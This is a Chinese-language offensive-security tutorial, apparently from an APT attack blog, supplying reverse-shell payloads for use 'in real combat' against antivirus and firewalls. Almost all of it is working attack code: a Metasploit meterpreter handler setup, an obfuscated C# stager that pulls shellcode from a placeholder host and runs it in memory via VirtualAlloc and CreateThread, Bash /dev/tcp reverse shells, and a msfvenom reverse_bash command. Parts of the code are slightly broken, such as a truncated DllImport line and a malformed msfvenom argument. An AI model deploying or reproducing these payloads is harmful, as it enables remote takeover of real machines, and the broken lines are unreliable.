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第十五課：基于第十課補充payload2

專注APT攻擊與防御

https://micropoor.blogspot.com/

在實戰(zhàn)中可能會遇到各種訴求payload,并且可能遇到各種實際問題,如殺毒軟件,防火墻攔截,特定端口通道,隧道等問題。這里我們根據(jù)第十課補充其中部分,其他內(nèi)容后續(xù)補充。

這次主要補充了C#,Bash

ps:在線代碼高亮:http://tool.oschina.net/highlight

1.C#-payload

msf > use exploit/multi/handler

msf exploit(handler) > set payload windows/meterpreter/reverse_tcp

payload => windows/meterpreter/reverse_tcp

msf exploit(handler) > set LHOST 192.168.1.107

LHOST => 192.168.1.107

混淆:

using System; using System.Net; using System.Net.Sockets; using System.Runtime.InteropServices; using System.Threading;

namespace RkfCHtll { class LiNGeDokqnEH {

static byte[] idCWVw(string VVUUJUQytjlL, int eMcukOUqFuHbUv) {

IPEndPoint nlttgWAMdEQgAo = new IPEndPoint(IPAddress.Parse(VVUUJUQytjlL), eMcukOUqFuHbUv);

Socket fzTiwdk = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);

try { fzTiwdk.Connect(nlttgWAMdEQgAo); }

catch { return null;}

byte[] gJVVagJmu = new byte[4];

fzTiwdk.Receive(gJVVagJmu, 4, 0);

int GFxHorfhzft = BitConverter.ToInt32(gJVVagJmu, 0);

byte[] mwxyRsYNn = new byte[GFxHorfhzft + 5];

int yVcZAEmXaMszAc = 0;

while (yVcZAEmXaMszAc < GFxHorfhzft)

{ yVcZAEmXaMszAc += fzTiwdk.Receive(mwxyRsYNn, yVcZAEmXaMszAc + 5, (GFxHorfhzft - yVcZAEmXaMszAc) < 4096 ? (GFxHorfhzft - yVcZAEmXaMszAc) : 4096, 0);}

byte[] XEvFDc = BitConverter.GetBytes((int)fzTiwdk.Handle);

Array.Copy(XEvFDc, 0, mwxyRsYNn, 1, 4); mwxyRsYNn[0] = 0xBF;

return mwxyRsYNn;}

static void hcvPkmyIZ(byte[] fPnfqu) {

if (fPnfqu != null) {

UInt32 hcoGPUltNcjK = VirtualAlloc(0, (UInt32)fPnfqu.Length, 0x1000, 0x40);

Marshal.Copy(fPnfqu, 0, (IntPtr)(hcoGPUltNcjK), fPnfqu.Length);

IntPtr xOxEPnqW = IntPtr.Zero;

UInt32 ooiiZLMzO = 0;

IntPtr wxPyud = IntPtr.Zero;

xOxEPnqW = CreateThread(0, 0, hcoGPUltNcjK, wxPyud, 0, ref ooiiZLMzO);

WaitForSingleObject(xOxEPnqW, 0xFFFFFFFF); }}

static void Main(){

byte[] dCwAid = null; dCwAid = idCWVw("xx.xx.xx.xx", xx);

hcvPkmyIZ(dCwAid); }

[DllImport("kernel32")] private static extern UInt32 VirtualAlloc(UInt32 qWBbOS,UInt32 HoKzSHMU, UInt32 mqFcYDHjaQJye, UInt32 EbMqzSROjgb);

[DllImport("kernel32")]private static extern IntPtr CreateThread(UInt32 tqUXybrozZ, UInt32 FMmVpwin, UInt32 HhvKSTWeKKsuBOG,IntPtr wXrghrXxDXaJDj, UInt32 zHqryJZjmSJ,

[DllImport("kernel32")] private static extern UInt32 WaitForSingleObject(IntPtr CApwDwK, UInt32 uzGJUddCYTd);}}

1.Bash-payload

i >& /dev/tcp/xx.xx.xx.xx/xx 0>&1

exec 5<>/dev/tcp/xx.xx.xx.xx/xx

cat <&5 | while read line; do $line 2>&5 >&5; done

附錄:

msfvenom 生成bash

root@John:~# msfvenom -p cmd/unix/reverse_bash LHOST=xx.xx..xx.xx LPORT=xx > -f raw > payload.sh

參數(shù)簡化

項目地址:https://github.com/g0tmi1k/mpc

Micropoor